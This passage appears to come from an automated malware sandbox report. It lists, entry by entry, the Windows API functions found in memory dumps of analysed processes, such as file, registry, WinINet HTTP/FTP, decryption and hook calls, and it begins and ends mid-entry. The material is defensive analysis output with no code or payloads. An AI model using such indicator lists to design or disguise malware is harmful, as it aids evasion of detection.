"TrackPopupMenu"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "AppendMenuW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CharPrevW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateFontIndirectW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "MoveFileW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcpynW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcatW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "SHGetKnownFolderPath"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp") Found reference to API (Indicator: "FtpGetFileSize"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "FtpCommandW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcpyW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "UpdateWindow"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpSendRequestExW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetErrorDlg"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetWriteFile"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpSendRequestW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetSetFilePointer"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpAddRequestHeadersA"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "FtpCreateDirectoryW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetCrackUrlW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "FtpOpenFileW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetSetOptionW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetGetLastResponseInfoW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpEndRequestW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpAddRequestHeadersW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpQueryInfoW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetConnectW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "InternetQueryOptionW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "HttpOpenRequestW"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformation"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "WTSUnRegisterSessionNotification"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimes"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00007532.00000000.67131.007CB000.00000004.mdmp, 00000000-00007532.00000001.69050.007CB000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00007532.00000000.67131.03200000.00000004.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SysReAllocStringLen"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SysAllocStringLen"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetThreadLocale"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "WindowFromPoint"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "WaitMessage"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "UpdateWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "UnregisterClassW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "TranslateMDISysAccel"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ShowScrollBar"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ShowOwnedPopups"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "ShowCaret"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetWindowRgn"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: 